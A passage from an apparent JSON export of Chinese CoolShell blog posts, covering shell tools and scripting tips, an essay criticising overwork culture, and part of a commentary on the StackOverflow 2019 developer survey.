[**prettyping**](https://github.com/denilsonsa/prettyping) 。\n* 如果你想搜索以前打过的命令，不要再用 Ctrl +R 了，你可以使用加强版的 [**hstr**](https://github.com/dvorka/hstr)  。\n* [**htop**](https://hisham.hm/htop/)  是 top 的一个加强版。然而，还有很多的各式各样的top，比如：用于看IO负载的 [**iotop**](http://guichaz.free.fr/iotop/)，网络负载的 [**iftop**](http://www.ex-parrot.com/~pdw/iftop/), 以及把这些top都集成在一起的 [**atop**](https://github.com/Atoptool/atop)。\n* [**ncdu**](https://dev.yorhel.nl/ncdu)  比 du 好用多了用。另一个选择是 [nnn](https://github.com/jarun/nnn)。\n* 如果你想把你的命令行操作建录制成一个 SVG 动图，那么你可以尝试使用 [**asciinema**](https://asciinema.org/) 和 [**svg-trem**](https://github.com/marionebl/svg-term-cli) 。\n* [**httpie**](https://github.com/jakubroztocil/httpie) 是一个可以用来替代 `curl` 和 `wget` 的 http 客户端，`httpie` 支持 json 和语法高亮，可以使用简单的语法进行 http 访问: `http -v github.com`。\n* [**tmux**](https://github.com/tmux/tmux) 在需要经常登录远程服务器工作的时候会很有用，可以保持远程登录的会话，还可以在一个窗口中查看多个 shell 的状态。\n* [**Taskbook**](https://github.com/klaussinani/taskbook) 是可以完全在命令行中使用的任务管理器 ，支持 ToDo 管理，还可以为每个任务加上优先级。\n* [**sshrc**](https://github.com/Russell91/sshrc) 是个神器，在你登录远程服务器的时候也能使用本机的 shell 的 rc 文件中的配置。\n* [**goaccess**](https://github.com/allinurl/goaccess)  这个是一个轻量级的分析统计日志文件的工具，主要是分析各种各样的 access log。\n\n\n关于这些增加命令，主要是参考自下面的这些文章\n\n\n1. [10 Tools To Power Up Your Command Line](https://dev.to/_darrenburns/10-tools-to-power-up-your-command-line-4id4)\n2. [5 More Tools To Power Up Your Command Line (Part 2 Of Series)](https://dev.to/_darrenburns/tools-to-power-up-your-command-line-part-2-2737)\n3. [Power Up Your Command Line, Part 3](https://dev.to/_darrenburns/power-up-your-command-line-part-3-4o53)\n4. [Power Up Your Command Line](https://darrenburns.net/posts/tools/)\n5. [Hacker Tools](https://hacker-tools.github.io/)\n\n\n#### Shell 和脚本\n\n\nshell 是可以与计算机进行高效交互的文本接口。shell 提供了一套交互式的编程语言（脚本），shell的种类很多，比如 **sh**、**bash**、**zsh** 等。\n\n\nshell 的生命力很强，在各种高级编程语言大行其道的今天，很多的任务依然离不开 shell。比如可以使用 shell 来执行一些编译任务，或者做一些批处理任务，初始化数据、打包程序等等。\n\n\n现在比较流行的是 **zsh** + [**oh-my-zsh**](https://ohmyz.sh/) + [**zsh-autosuggestions**](https://github.com/zsh-users/zsh-autosuggestions) 的组合，你也可以试试看。其中 zsh 和 oh-my-zsh 算是常规操作了，但是 zsh-autosuggestions 特别有用，可以超级快速的帮你补全你输入过的命令，让命令行的操作更加高效。\n\n\n另外，**[fish](https://fishshell.com/)**也是另外一个牛逼的shell，比如：命令行自动完成（根据历史记录），命令行命令高亮，当你要输入命令行参数的时候，自动提示有哪些参数…… fish在很多地方也是用起来很爽的。和上面的 oh-my-zsh 有点不分伯仲了。\n\n\n你也许会说，用 Python 脚本或 PHP 来写脚本会比 Shell 更好更没有 bug，但我要申辩一下:\n\n\n* 其一，如果你有一天要维护线上机器的时候，或是到了银行用户的系统（与外网完全隔离，而且服务器上没有安装 Python/PHP 或是他们的的高级库，那么，你只有 Shell 可以用了）。\n* 其二，而且，如果要跟命令行交互很多的话，Shell 是不二之选，试想一下，如果你要去 100 台远程的机器上查access.log 日志中有没有某个错误，完成这个工作你是用 PHP/Python 写脚本快还是用 Shell 写脚本快呢？\n\n\n所以，**我们还要学会只使用传统的grep/awk/sed等等这些POSIX的原生的系统默认安装的命令**。\n\n\n当然，要写好一个脚本并不容易，下面有一些小模板供你参考：\n\n\n处理命令行参数的一个样例\n\n\n\n```\nwhile [ \"$1\" != \"\" ]; do\n    case $1 in\n        -s  )   shift\t\n\t\tSERVER=$1 ;;  \n        -d  )   shift\n\t\tDATE=$1 ;;\n\t--paramter|p ) shift\n\t\tPARAMETER=$1;;\n        -h|help  )   usage # function call\n                exit ;;\n        * )     usage # All other parameters\n                exit 1\n    esac\n    shift\ndone \n```\n\n命令行菜单的一个样例\n\n\n\n```\n\n#!/bin/bash\n# Bash Menu Script Example\n\nPS3='Please enter your choice: '\noptions=(\"Option 1\" \"Option 2\" \"Option 3\" \"Quit\")\nselect opt in \"${options[@]}\"\ndo\n    case $opt in\n        \"Option 1\")\n            echo \"you chose choice 1\"\n            ;;\n        \"Option 2\")\n            echo \"you chose choice 2\"\n            ;;\n        \"Option 3\")\n            echo \"you chose choice $REPLY which is $opt\"\n            ;;\n        \"Quit\")\n            break\n            ;;\n        *) echo \"invalid option $REPLY\";;\n    esac\ndone\n\n```\n\n颜色定义，你可以使用 `echo -e \"${Blu}blue ${Red}red ${RCol}etc....\"` 进行有颜色文本的输出\n\n\n\n```\n\nRCol='\\e[0m'    # Text Reset\n\n# Regular           Bold                Underline           High Intensity      BoldHigh Intens     Background          High Intensity Backgrounds\nBla='\\e[0;30m';     BBla='\\e[1;30m';    UBla='\\e[4;30m';    IBla='\\e[0;90m';    BIBla='\\e[1;90m';   On_Bla='\\e[40m';    On_IBla='\\e[0;100m';\nRed='\\e[0;31m';     BRed='\\e[1;31m';    URed='\\e[4;31m';    IRed='\\e[0;91m';    BIRed='\\e[1;91m';   On_Red='\\e[41m';    On_IRed='\\e[0;101m';\nGre='\\e[0;32m';     BGre='\\e[1;32m';    UGre='\\e[4;32m';    IGre='\\e[0;92m';    BIGre='\\e[1;92m';   On_Gre='\\e[42m';    On_IGre='\\e[0;102m';\nYel='\\e[0;33m';     BYel='\\e[1;33m';    UYel='\\e[4;33m';    IYel='\\e[0;93m';    BIYel='\\e[1;93m';   On_Yel='\\e[43m';    On_IYel='\\e[0;103m';\nBlu='\\e[0;34m';     BBlu='\\e[1;34m';    UBlu='\\e[4;34m';    IBlu='\\e[0;94m';    BIBlu='\\e[1;94m';   On_Blu='\\e[44m';    On_IBlu='\\e[0;104m';\nPur='\\e[0;35m';     BPur='\\e[1;35m';    UPur='\\e[4;35m';    IPur='\\e[0;95m';    BIPur='\\e[1;95m';   On_Pur='\\e[45m';    On_IPur='\\e[0;105m';\nCya='\\e[0;36m';     BCya='\\e[1;36m';    UCya='\\e[4;36m';    ICya='\\e[0;96m';    BICya='\\e[1;96m';   On_Cya='\\e[46m';    On_ICya='\\e[0;106m';\nWhi='\\e[0;37m';     BWhi='\\e[1;37m';    UWhi='\\e[4;37m';    IWhi='\\e[0;97m';    BIWhi='\\e[1;97m';   On_Whi='\\e[47m';    On_IWhi='\\e[0;107m';\n\n```\n\n取当前运行脚本绝对路径的示例：（注：Linux下可以用 `dirname $(readlink -f $0)` ）\n\n\n\n```\n\nFILE=\"$0\"\nwhile [[ -h ${FILE} ]]; do\n    FILE=\"`readlink \"${FILE}\"`\"\ndone\npushd \"`dirname \"${FILE}\"`\" > /dev/null\nDIR=`pwd -P`\npopd > /dev/null\n\n```\n\n如何在远程服务器运行一个本地脚本\n\n\n\n```\n#无参数\nssh user@server 'bash -s' < local.script.sh\n\n#有参数\nssh user@server ARG1=\"arg1\" ARG2=\"arg2\" 'bash -s' < local_script.sh\n\n```\n\n如何检查一个命令是否存在，用 `which` 吗？最好不要用，因为很多操作系统的 `which` 命令没有设置退出状态码，这样你不知道是否是有那个命令。所以，你应该使用下面的方式。\n\n\n\n```\n\n# POSIX 兼容:\ncommand -v [the_command]\n\n# bash 环境:\nhash [the_command]\ntype [the_command]\n\n# 示例：\ngnudate() {\n    if hash gdate 2> /dev/null; then\n        gdate \"$@\"\n    else\n        date \"$@\"\n    fi\n}\n\n```\n\n然后，如果要写出健壮性更好的脚本，下面是一些相关的技巧：\n\n\n* 使用 `-e` 参数，如：`set -e` 或是 `#!/bin/sh -e`，这样设置会让你的脚本出错就会停止运行，这样一来可以防止你的脚本在出错的情况下还在拼拿地干活停不下来。\n* 使用 `-u` 参数，如： `set -eu`，这意味着，如果你代码中有变量没有定义，就会退出。\n* 对一些变理，你可以使用默认值。如：`${FOO:-'default'}`\n* 处理你代码的退出码。这样方便你的脚本跟别的命令行或脚本集成。\n* 尽量不要使用 `;` 来执行多个命令，而是使用 `&&`，这样会在出错的时候停止运行后续的命令。\n* 对于一些字符串变量，使用引号括起，避免其中有空格或是别的什么诡异字符。\n* 如果你的脚有参数，你需要检查脚本运行是否带了你想要的参数，或是，你的脚本可以在没有参数的情况下安全的运行。\n* 为你的脚本设置 `-h` 和 `--help` 来显示帮助信息。千万不要把这两个参数用做为的功能。\n* 使用 `$()` 而不是  来获得命令行的输出，主要原因是易读。\n* 小心不同的平台，尤其是 MacOS 和 Linux 的跨平台。\n* 对于 `rm -rf` 这样的高危操作，需要检查后面的变量名是否为空，比如：`rm -rf $MYDIDR/*` 如果 `$MYDIR`为空，结果是灾难性的。\n* 考虑使用 “find/while” 而不是 “for/find”。如：`for F in $(find . -type f) ; do echo $F; done` 写成 `find . -type f | while read F ; do echo $F ; done` 不但可以容忍空格，而且还更快。\n* 防御式编程，在正式执行命令前，把相关的东西都检查好，比如，文件目录有没有存在。\n\n\n你还可以使用ShellCheck 来帮助你检查你的脚本。\n\n\n* <https://www.shellcheck.net/>\n\n\n最后推荐一些 Shell 和脚本的参考资料。\n\n\n各种有意思的命令拼装，一行命令走天涯:\n\n\n* <http://www.bashoneliners.com/>\n* <http://www.shell-fu.org/>\n* <http://www.commandlinefu.com/>\n\n\n下面是一些脚本集中营，你可以在里面淘到各种牛X的脚本：\n\n\n* <http://www.shelldorado.com/scripts/>\n* <https://snippets.siftie.com/public/tag/bash/>\n* <https://bash.cyberciti.biz/>\n* <https://github.com/alexanderepstein/Bash-Snippets>\n* <https://github.com/miguelgfierro/scripts>\n* <https://github.com/epety/100-shell-script-examples>\n* <https://github.com/ruanyf/simple-bash-scripts>\n\n\n甚至写脚本都可以使用框架:\n\n\n* 写bash脚本的框架 <https://github.com/Bash-it/bash-it>\n\n\nGoogle的Shell脚本的代码规范：\n\n\n* <https://google.github.io/styleguide/shell.xml>\n\n\n最后，别忘了几个和shell有关的索引资源：\n\n\n* <https://github.com/alebcay/awesome-shell>\n* <https://github.com/awesome-lists/awesome-bash>\n* <https://terminalsare.sexy/>\n\n\n最后，如果你还有什么别的更好的玩的东西，欢迎在评论区留言，或是到 [coolshellx/ariticles @ github](https://github.com/coolshellx/articles) 修改本文。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/8088.html)[对技术的态度](https://coolshell.cn/articles/8088.html)\n* [![程序员技术练级攻略](../wp-content/uploads/2011/07/programmer-150x150.png)](https://coolshell.cn/articles/4990.html)[程序员技术练级攻略](https://coolshell.cn/articles/4990.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg](https://coolshell.cn/articles/4102.html)[如何学好C语言](https://coolshell.cn/articles/4102.html)\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\nThe post [打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2019-4-17 “努力就会成功”.md",
    "content": "---\nlayout: post\ntitle: “努力就会成功”\ndate: 2019/4/17/ 1:12:27\nupdated: 2019/4/17/ 1:12:27\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2019/04/busy.work_-300x166.jpg) 那一年，我加入了某知名公司的某知名部门，在办公室中，我看到了到处都挂着——“努力就会成功”的条幅，这个部门中大多数员工的邮件签名都会有“努力就会成功”，我感到一种热血沸腾的气氛，这是我在多年工作来都没有感受到的，当时挺高兴地能和这样一群人工作，也没多想。直到有一天，我看到这些高级的软件工程师们把自己关在又挤又吵的会议室中，拼命地加班，真是拼命，周一到周日，每天早上10点到凌晨3点甚至凌晨5点，连国庆节都来上班，就在这样的环境和状态下，连续干了三个多月……上线前，QA找到了1000多个bug（你没看错，就是一千多个），最后这个项目用了1年多的时间来返工，本来一个6-8个月的项目，团队被打了鸡血想在3个月内完成，最终却花了近两年的时间来返工……（要知道，我以前在外国公司工作，外国老板看到团队在长时间加班会感到焦虑的，因为加班通常代表着有不好的事情正在发生……）\n\n\n所以对此，我是有点看不懂的，看不懂的是，为什么这么一群聪明的人，放着明亮宽敞的办公桌不用，硬要挤在一个又窄又小又吵又热的小空间里工作，而且要这么透支地写那么重要的很关键的系统级的代码……这就好像，一架在一个小作坊里被人加班加点赶工出来的飞机，谁敢坐啊？！老实说，这群工程师真是很优秀的工程师，他们完全是可以做得更好的……但是却做出了如此蹩脚和糟糕的系统……他们说，这样坐在一起可以做到快速沟通，然而，我觉得这恰恰是一种没有章法的表现。\n\n\n也是在这家公司，在这个项目烂尾一年前，公司感到了危机，CEO号召全体996，举全公司之力从董事长到下面基层员工对抗外部所谓的威胁，有的部门为了表现，甚至997，然而，在一年后，做出了一个烂得不能再烂的软件，最终以失败告终，很多人包括CEO也因此下课……\n\n\n\n这是最让我看不懂的一个事了，为什么这么如此成功的公司的高级管理层会做出这样的事情，而且还制定这样的政策……把这么优秀的员工以及公司大把把数以亿计的钞票投入到这种错误的路线上来，而且还拼命地加班…… 他们脑子里在想什么呢？难道他们真的以为，有足够多的钱，足够多的人，然后拼命加班，就能打败对手吗？……\n\n\n#### 你喜欢这句话吗？\n\n\n“努力就会成功”，“加班就会有成就”，“勤劳就会致富”……是这样吗？仔细思考一些，这些话存在严重的逻辑问题，我们在高中的时候学过“充分条件”，“必要条件”和“充要条件”！**“努力就会成功”这句话，把“努力”说成了“成功”的充要条件，这不就是错的吗？努力只是成功的必要条件之一。**你在错误的方向或是格局很小的方向上努力，能有用么？你努力地要饭，你努力地当搬运工，你努力地打骚扰电话销卖保险…… 在错误和小格局的方向上努力，你还觉得努力还有用吗？\n\n\n但是很多人是很喜欢“努力就会成功”这句话，这类人也很喜欢看很多小人物通过自己的努力变成成功人士的励志的故事，为什么这种故事会被很多人喜欢甚至感动。因为这很符合大众的心理诉求，这种诉求其实就是一种只要使力只要拼命了就可以成功的心理诉求，**因为这类人基本上都是能力有限，不知道怎么提升自己的人，当他们看到只要拼命使力就可以成功的观点时，他们就会有共鸣，就会感到，不用学习那些晦涩难懂高级的知识，不用掌握和练习哪些高级技能，自己只需要在低级的事情上拼命和努力，加更多的班和干更多活，自己就会像电影中的那些小人物一样，总有一天会成功的**……\n\n\n**“努力就会成功，勤劳就会致富”，不但符合那些低级管理者的利益诉求，同样符合那些能力不足不愿意学习和成长的人的诉求。因为，他们混淆了行动与进展，忙碌与多产，他们以为能靠蛮力可以弥补思维上的惰性，靠拼命可以弥补能力上的不足……**\n\n\n喜欢或认同这句话的人基本是能力上有问题的人，这类适合做劳动密集型的事。不信你可以试试看，当一件事的难度超过一定程度的时候，那些聪明的人会找到更省力的方法，而能力上有问题的，还是在那使蛮力。\n\n\n#### 我成长的过程\n\n\n回想我的过去，我在2001年那年被外包到了某银行做开发，标准的9/10/6，封闭开发，就是用C语言在AIX系统里堆一些银行的交易逻辑，老实说，这个过程并没有让我学到什么东西，也没有什么成长，我每天想的就是我要离开这个地方，所以，我在晚上10点以后开始看书学习到11点半，并使用工作环境动手实践书上的代码，一年后，我精读了《TCP/IP详解》《Windows核心编程》《Java编程思想》等书。然后，我找到一份外企业的工作，月薪一下翻了三倍。\n\n\n在外企不加班，但是当时的外企压力也很大，对代码的质量要求的也很高，来的第二个月，就因为代码写的太差，差点被开掉，所以，为了能够达到更高的标准，我自然也是很努力的，在周末甚至黄金周节假日我哪里都不去，我就去公司，但我不是在公司上班，因为我没有自己的电脑，所以，我只能蹭公司的电脑，这导致办公楼的管理人员经常打电话给我让我帮他在周末的时候管理物业…… **在这家公司是我成长最快的时候，然而，并不是因为我的努力，而是因为有很多比我牛逼的人在Code Review上给我大量的帮助，在项目上帮助我，我的努力学习虽然也有作用，但更多的是高手对我的帮助**。\n\n\n**再回想一下我以前在职场上的很多关键点，不是因为我加班了，而是因为在某些关键问题上，我跳出来解决了其它人都解决不了的问题**，我解决了一个网络通信莫名其妙的断掉的问题，我把性能优化了很多倍，我解决了一个不能重现的一个困扰团队3个星期的问题（其实就是大家没有认真读文档），我在入职一个公司的第一天里就为这个公司解决了一个历史遗留问题……在Platform，我每周解决了bug数是全公司的其它人的总和还要多（从不加班），在路透，我带团队优化的系统的性能是全球所有研发中心最高的，在亚马逊，两周打通美国和德国的订单和商品列表系统……我也有失败的时候，**而我失败的时候，总是因为我搞不定事，即便是加班拼命努力也无济于事**！是的，我的职业生涯的成长，最根本的不是你有多努力，有多勤奋，而是你能搞定很多人搞不定的事！\n\n\n你不信你可以看看你们公司那些不用加班，就算什么也不干，公司也要花钱养的技术人员，他们的成功一定不是努力和加班加出来的，**你会发现这些人拼的不是谁干的多，而是谁解决的问题更有难**。\n\n\n**我加班996的时候，从来都不是我成长最快的时候，而我和一群牛人在解决难题的时才是我成长最快的时候。**\n\n\n#### Work Smart\n\n\n2015年因为父亲病危要动手术，所以我不能工作在家照顾父亲。于是我就成为了一个自由职业者，帮很多公司解决一些技术问题，好多都是高并发和系统稳定性的问题，有一些是分布式架构的运维的问题，还有一些是工程管理和企业文化问题……有一些小公司的单体架构在业务上一推广就宕机了，于是把我叫过去，我在生产线上直接re-arch，用一些非常规的手段，1-2天就把性能救过来了…… 还有就是解决一些点状的技术问题，还帮用户做一些design/code review……，有70%工作是真正的按劳取酬，也就是先把问题解决了再谈要收多少钱，**那段时间我出卖的不是我的劳动力，而是我的技能，所以，反而比打工挣得多多了，而且还比较轻闲**……\n\n\n有时候，我还调侃到，你在大公司里一天写上万行代码，拼命地加班，你信不信，我只用写几百行代码就挣得比你多？**同样是一个简单的 for-loop 语句，有人写的就值1万元一行，而你写的则一文不值。关键不在于谁写的代码多，关键在于我们解决了什么样的问题**。你千万不要以为只要付你足够的钱，你就可以996，让你干什么都可以，然而当你自己把自己当成劳动力的时候，你也就只是一个像牲口一样的行事了！\n\n\n![](../wp-content/uploads/2019/04/hard.work_-1024x576.jpg)\n\n\n**这就好像算法一样，你那个O(n^2)的递归穷举算法，再怎么样也干不过我的O(n)的动态规划的算法。**\n\n\n现在我拿了投资在创业，一开始帮助各大企业建高并发高可用云化架构的公司，现在还给企业提供金融和营销能力，我跟客户谈业务的时候，基本不是因为我有多加班多努力地做方案，而是我能一针见血地指出用户的问题，帮用户解决问题。我在很多地方都见到阿里、蚂蚁、华为、HP……，一个小创业公司跟他们竞争真的很难，但我知道，要能竞争过这些大公司，这根本就不是能够通过加班996或是拼命努力就能搞定的，我必需要使用更好的方式，所以，除了更好地站在用户的立场，能够给用户制定更符合用户的技术方案之外，我必需做到我的技术方案不比这些大公司的差，而这一点，完全不是加班、努力或是勤奋能出来的，这是需要靠自己的经验、学习能力、归纳思考、和与更多牛人交流才出的来的……当我给某银行CIO介绍完我的分布式系统的方案后，CIO给我微微鞠躬说：“过去一两年，我听过几乎所有国内外产商跟我讲的分布式的方案，你的是我听过的最好的方案！谢谢你！”，当我给某省电信行业公司讲了一下DevOps的方案后，老总对我说：“你们真的是做事的人！”，当用户来问我：“你们的API网关是怎么写的？为什么运行的这么稳定？”……这些话都是让我很心里很暖的话……**当然，我也有被骂的时候，也有失败的时候，但基本上来说，我无法通过努力工作改善我思维的不足……**\n\n\n**我们学计算机当程序员最大的福气不是可以到大公司里加班和996，而是我们生活在了第三次工业革命的信息化时代，这才是最大的福气，所以，我们应该努力地提升自己，而不是把自己当劳动力一样的卖了！在这样的一个时代，你要做的不是通过加班和拼命来跪着挣钱，而是通过技能来躺着挣钱……**\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [“努力就会成功”](https://coolshell.cn/articles/19271.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2019-4-21 StackOverflow 2019 程序员调查.md",
    "content": "---\nlayout: post\ntitle: StackOverflow 2019 程序员调查\ndate: 2019/4/21/ 4:29:13\nupdated: 2019/4/21/ 4:29:13\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2019/04/2019-Dev-Survey-Blog-360x200.png)前些天，StackOverflow 发布了 [2019年的年度程序员调查](https://insights.stackoverflow.com/survey/2019)，这个调查报查有90000名程序员参与，这份调度报告平均花了20分钟，可见，这份报告有很多的问题，也是很详细的。这份报告有一些地方，让我有了一些思考。\n\n\n首先，我们先来看一下之份报告的 Key Results：\n\n\n* Python 成为了过去一年中成长最快的语言，把Java挤到了第二位，排在后面的是Rust语言。\n* 有半数以上的被访者在是在16岁写下自己的第一行代码。\n* [DevOps Specialists](https://stackoverflow.com/jobs/devops-jobs) 和 Site Reliability Engineers 是程序员中最有经验，技术最牛，薪资最好的职位。（这对应于国内的——系统架构师）\n* 在几个头部的程序员大国中，中国的程序员最乐观的，他们相信在今天出生的人会有比他们父母更好的人生。对于欧洲的程序员来说，比较法国和德国的程序员，他们对未来并不太乐观。\n* 对于最影响程序员生产力的事，不同的程序员有不同的想法。\n\n\n\n#### 第一部分，Developer Profile\n\n\n在第一部分中，我们可以看到，中国程序员参与这个调查的并不多，程序员主要集中在美国、欧洲、印度这三个地方。所以，这份报告更偏国际上一些。这对于我们中国程序员也有很大的帮助，因为一方面可以看到世界发展的趋势，另一方面也可以了解我们和世界有什么不一样。\n\n\n对于技术职业来说，整个世界的程序员开始趋于全栈和后端，有51.9%的人是全栈，50%的人是后端，32.8%的人是前端……在这些人中，很多程序员都选了多项，中位数是3项，最常见是前端、后端和全栈全选的。然后，接下来是选两项的，选两项目的包括：数据库管理员和系统管理员，DevOps Specialist 和 Site Reliablility Engineer， 学术研究者和科学家，设计师和前端工程师。![](../wp-content/uploads/2019/04/06-01.Developers.Rols_-1024x259.png)\n\n\n从这些数据中我们可以看见：**前后端的界限越来越不明显，设计师和前端的界限也开始模糊。这应该说明，工具和框架的成熟，让后端程序员和设计师也可以进入到前端工程师的领域，或是前端工程师开始进入后端和设计的领域**。总之，复合型人才越来越越成为主流，而前后端也趋于一个相互融合的态势。\n\n\n在接下来的图表中，我们可以看到有80%以上的人是把编程当成自己的爱好（包括相关的女性）。![](../wp-content/uploads/2019/04/06-02.Coding.as_.a.Hobby_.png)\n\n\n真是应了那句话——“Programmers who don’t code in their spare time for fun will never become as good as those that do”，是的，如果你对编程没有感到一种快乐，没有在你空闲的时候去以一种的兴趣爱好方式去面对，那么，无论是编程，还是运动，还是去旅游，都不会有太多成效的。\n\n\n在接下来的编程经验上，有两组如下的数据：\n\n\n\n\n| 学习编程的年限 | 编程的年限 |\n| --- | --- |\n|  |  |\n\n\n我们可以看到无论是学习还是编程，随着时间的拉长，其人数占比越来越少。\n\n\n下面我们再来看一个年龄图：\n\n\n![](../wp-content/uploads/2019/04/06-05.Age_-1024x710.png)\n\n\n调查报告从20岁开始每隔5年划分一个年龄段，我们不难发现从25-29岁开始每个年龄段都比前一个年龄段人数急剧减少大约30-50%，比如25-29年龄段占总人数27.6%，而30-34则只有19.3%。以此类推，到60岁以上，就只剩1%。可以看出5年是大多数程序员的转型周期。这是合理的，因为5年时间足够一个人积累足够的经验技能为职业转型做准备。\n\n\n我们也可以看到50岁以上的程序员只有4.2%，大约是参与调查人员的300多人，如果这些人20岁左右参加工作，那么说明他们在1990左右就开始写代码，事实上那个时间点别说是程序员了，连电脑用户都不多。**电脑和互联网真正暴发的时间还是在1995年 – 2000年之间，不过，那个时间点程序员的总体人数也不多，而行业越来越火才会导致大量的人进入到这个行业中，这个转换过程基本上去需要3-5年，也就是从2000年后才开始有大量的人拥入程序员这个行业，程序员的人数在过去30年间也是呈增涨态势的，所以，我个人认为，所谓的“众多老程序员”的比例会被2005年以后大量拥入程序员行业的年青人所“稀释”。所以，上图的比例不能完全说明程序员是个青春饭**。\n\n\n但是，我们还是要正视老牌资深的程序员越来越少的这个事实，在这份报告第三部分中说了一些和程序员职业生涯相关的调查，如下：\n\n\n* **在被问到有多少人对自己的职业满意的时**。有40%的人觉得很满意，而有34.3%的人觉得一般满意，有10%的人说不清，还有15%的人是不满意的。可以看到有不少人是对这个职业生涯是有想法的。\n* **在被问到有多少人想转管理而可以挣得更多时**。有30%的人是说想转的，有51%的人是明确不转的，还有20%的人是说不知道。可见，想转管理的人最多可能会有一半的人。\n* **在被问到有多少人想转管理时**。有1/3的人是明确不想转的，而有1/4的人是明确是想转，而有36%的人则是不说，观望中。可见，的确是有很多想想转管理的。\n\n\n**我们可以看到，程序员中并不是所有的人都是可以坚持这么长时间的，这也挺正常的，对很大一部分人来说，对这个职业是有或多或少的不满意的，也有一部分人可能会随着技术的更新被淘汰，还有另外很大一部分人是想转管理的。所以，能够长时间地跟上形势长时间地喜欢写代码，并且对程序员这个的职业长期满意，不想转管理的，的确是为随时年龄的越大也越来越少**。\n\n\n**但我们完全可以看出来，程序员的主力军在20-40岁这个区间，而30岁左右的程序员是年富力强（经验和能力都很好）的黄金时间**。\n\n\n老程序员在国外似乎不会存在多大的问题，但在国内会有一些问题，所以，对于像我一样喜欢写代码、打算长久做程序员的兄弟，这里分享一些相关的经验。\n\n\n1. **持续高效地学习**。软件行业的新技术层出不穷，旧的技术淘汰很快，所以我们更要多多学习基础技术和原理，那些都是很难改变的，并且基础扎实了后，学习新的技术也才会更快速。其间我们也不要乱学新技术，我们要关注那些有潜力的技术，也就看准了再学（参看酷壳的《[Go语言、Docker和新技术](https://coolshell.cn/articles/18190.html)》）。注意，而是跟上大时代已经比较不容易，引领时代的人还是少数，所以，还是要更为高效地学习。\n2. **积极面对他人的不解**。 很多时候，总是会有人说：“到了你这个年纪怎么还在做程序员？”，这句话感觉就是对程序员这个职业的一种羞辱，社会的价值观感觉容不下大龄程序员。这个时候，我一般会跟他们解释到，我40来岁了，我觉得自己的状态还很好，工作完成没什么问题，偶尔加班到凌晨也行，新知识和技术我学起来不比年轻人慢，我在这个年纪有的经验比他们都多，而且，我这个年纪还在写代码，说明我真的喜欢这个事，**像我这样的人能够长时间坚持做一个职业的人这个世界已经不多了，你们应该珍惜……**\n3. **找到自己的定位**。我们需要做好职业规划、财务和心理方面的准备。40岁的程序员，所能竞争的一定是自己的认识和经验，所以，40岁以后如果你还是很喜欢这一行业，你的社会阅历和经历以及对这个社会的理解，可以让你做一些有创新的事，除此之外，你还可以做一个教练、老师、咨询、专家……，用你的经验和能力帮助下一代和一些中小型的公司，这不但是他们的刚需，同时也会让重新焕发的。\n\n\n#### 第二部分，技术\n\n\n首先，在这部分，主要是了解一些技术，这部分的技术可以给于程序员们一些指导。\n\n\n\n\n| 最流行的语言 | 最热门的语言 |\n| --- | --- |\n|  |  |\n\n\n我们可以看到，\n\n\n* Javascript/HTML/CSS是很多人都会用到的，后面的是SQL，这个也没什么问题，无论前后端的人，或多或少都会要用到的，这些技术感觉已经成为了基础必会的技术了，就像数中的加减乘除一样。\n* Python/Java/Shell 是后端开发主流语言的前三强，Python在今年超过了Java。这里让我比较好奇的是居然还有很多人用Shell，这估计跟运维有关，所以，Python的热可能也是通过运维和大数据相关。\n* 流行语言后，第二梯队的是 C# / PHP / C++ / TypeScript / C ，接下来的是： Ruby / Go / Swift / Kotlin /WebAssembly / Rust… 。但在最被程序员喜欢的编程语言中：Rust / Python / TypeScript / Koltin / WebAssembly / Swift / Go… 都是排在前几名的。**程序语言每隔一段时间就会整出一些新的语言来，我们一定要明白新出来的东西主要是为了解决什么样的问题，不然很容易迷失。**\n* 